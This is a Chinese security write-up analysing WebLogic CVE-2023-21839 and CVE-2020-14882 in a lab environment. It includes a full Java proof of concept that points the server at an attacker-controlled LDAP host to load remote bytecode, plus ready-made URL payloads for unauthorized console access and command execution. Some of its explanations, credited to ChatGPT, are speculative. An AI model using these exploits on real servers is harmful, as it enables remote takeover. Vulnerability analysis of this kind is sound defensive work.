0x00 漏洞信息
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
通俗的讲weblogic是一种web容器,类比apache,tomcat,iis,web中间件。
Oracle WebLogic 服务器 标准版 结合了完整的 Java EE 8 支持以及高性能、 可靠性和可管理性功能。包括对 JavaSE 的支持。一系列 IDE 和 CI/CD、测试、监控和诊断工具可用于支持应用程序开发和管理。
Oracle WebLogic 服务器企业版包括所有标准版功能,以及集群和集成的 Java SE 高级功能。配置的群集通过高级消息传递和事务管理支持提供高性能和高可用性。动态集群增加了简化的配置和基于策略的自动化弹性扩展。
Weblogic商业版是付费购买的,此处利用免费的标准版本测试。
此文章涉及到两个weblogic的漏洞,主要是分析下CVE-2023-21839,因为CVE-2020-14882仍然影响一些版本所以也简单说下。
若有说的不对的地方,望师傅们指正,不要误人子弟,倾喷T_T
CVE-2023-21839
影响范围:
- WebLogic_Server = 12.2.1.3.0
- WebLogic_Server = 12.2.1.4.0
- WebLogic_Server = 14.1.1.0.0
CVE-2020-14882
影响范围:
10.3.6.0
12.1.3.0,12.2.1.3.0,12.2.1.4.0,
14.1.1.0
0x01 环境搭建
服务器:192.168.66.128
攻击机:192.168.9.44
从Oracle官网下载好12.2.1.3.0
版本的weblogic,安装教程可以参考
CVE-2020-14882
给idea项目导入weblogic环境,需要一个叫作wlfullclient
的jar包,
安装好weblogic后,Oracle\Middleware\Oracle_Home\wlserver\server\lib
目录下,启动wljarbuilder.jar
包来打包环境,而不是启动网上说的com.bea.core.jarbuilder
,因为Oracle官方文档解释了如何创建wlfullclient.jar
等待一段时间就创建好了
然后把生成的包在Moulde中给导入到idea项目中,环境准备完成。
0x02 漏洞利用
值得注意的是这是JNDI注入,那么在JDK8u121之后的版本默认com.sun.jndi.ldap.object.trustURLCodebase为false,关闭了远程加载,所以服务器JDK需要小于121版本,这里是用的JDK8u111。
CVE-2023-21839
启动JNDI注入环境,利用poc执行
**Q1:**如果服务器是高版本,那么执行会失败,有趣的是会在自己的攻击机上弹出计算器,我想应该lookup远程寻找失败后,回到了本地找这个对象,然后给本地注入了,所以会本地攻击机会弹出计算器。具体的解释详细在后面
CVE-2020-14882
未授权访问payload[http://192.168.142.132:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29](http://192.168.142.132:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29)
RCE payload[http://192.168.66.128:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)](http://192.168.66.128:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22))
高版本这里服务器使用JDK221,仍然被未授权访问和RCE,当然看URL就能看出这不是JDK的关系
这里就过一下,不深入分析;下面着重分析CVE-2023-21839
0x03 代码分析
对于CVE-2023-21839的poc代码
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
// String INITIAL_CONTEXT_FACTORY = "java.naming.factory.initial";
// String PROVIDER_URL = "java.naming.provider.url";
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
String t3Url = "192.168.66.128:7001";
String ldapUrl = "ldap://192.168.9.44:1389/ggswkg";
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//创建ForeignOpaqueReference对象f
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
//通过getDeclaredField()返回ForeignOpaqueReference类定义的属性 也就是jndiEnvironment属性
Field jndiEnvironment = weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
//取消安全检查 加快反射获取速度
jndiEnvironment.setAccessible(true);
//把f对象 赋值env 散列表
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
//反射调用set方法 把ldapUrl赋值给f(foreignOpaqueReference).remoteJNDIName
remoteJNDIName.set(f,ldapUrl);
//Random生成随机数System.currentTimeMillis()获取当前毫秒数作为种子seed
//nextLong()方法用于从此随机值生成器生成下一个伪随机分布的long值
//bindName 为一个随机值
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
//绑定f对象到JNDI服务中,名字为bindName
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }
}
}
来自chatGPT的代码分析
weblogic.deployment.jms.ForeignOpaqueReference
继承了QpaqueReference
接口,重写实现getReferent()
方法,并且存在retVal = context.lookup(this.remoteJNDIName)
的实现,故可以通过rmi/ldap远程协议进行RCE
Hashtable类型的 jndiEnvironment,String类型的 remoteJNDIName
进入bind方法,看到name是一个时间随机值,此处的object当然是
我们反射赋值remoteJNDIName 和 jndiEnvironment属性后的f对象
通过bind绑定对象完成后,通过name 来lookup查找f对象
c.lookup(bindName)处下断点,进入调试
这里会进行调用下面这个protected的lookup()
方法
跟进一下pushEnvOntoThread()
返回true
跟进到ClusteravleRemoteRef.invoke
方法
继续往下走,到var21这行,在这一行会触发,继续跟进里面
这一行调用invoke()很关键,其中有多层调用都在这里返回
这中间跳转了几个类的invoke方法
跟进到bind,远程获取恶意类,到weblogic服务器加载weblogic.rjvm.BasicOutboundRequest.sendReceive
这里触发了命令执行,弹出了计算器
当客户端调用 WebLogic Server 实例中远程对象的方法时,请求将使用 RJVM 协议通过网络发送。
该sendReceive()
方法负责发送请求并等待来自远程服务器的响应。一旦收到响应,它就会作为方法调用的结果返回给客户端。
调用这个方法就已经完成了对于服务端的ldap注入了sendReceive()
方法是一个阻塞方法,这意味着它将等待直到从远程服务器收到响应,然后才返回调用方法。
调用链
因为这里调试的是攻击机,完成bind()后,用lookup去查找,这边就结束了。然后服务器那边开始查找到f对象,将其从ldap格式转换,加载从JNDI-Inject 传来的恶意字节码,造成RCE,弹出计算器,然后再返回给攻击端f对象。
wireshake抓包看一下,通过t3协议来传输
- HL: 标识后边发起的T3协议头长度
- AS: 标识了发送的序列化数据的容量
序列化数据的标志头ac ed
下面是打低版本JDK的流量包
下面是高版本JDK的流量
可以看到最后的部分是有所不同,低版本最后有classFactoryLocation这是用于指定对象工厂类的位置的属性的出现,这说明了远程lookup失败后在本地对象寻找的过程。
t3协议数据表现
主要还是JNDI注入,构造t3协议打反序列化又是另外一种方式。
0x04 小结
对于前面发现情况的解释,不断用小皮鞭抽打chatGPT得到了答案
A1:
由于远程LDAP地址不可用,因此最终会超时并抛出NamingException异常。此时,JNDI会启动本地查找策略,继续尝试从本地JNDI服务中查找对象。因此,虽然绑定的对象是一个ForeignOpaqueReference对象,但是在本地查找的过程中,JNDI会将其转化为了一个绑定到JNDI服务中的对象,并返回给调用者。
再补充一些知识点,关于远程ldap注入lookup()失败后,如何配置使得其会在本地查找这个对象的副本
修复方案:
1.关于weblogic受影响的版本Oracle官方发布了补丁,不过我在官网没看到标准版的有补丁,可能付费才能获取到的。
2.也可以在weblogic平台设置禁用IIOP、黑白名单来缓解此问题。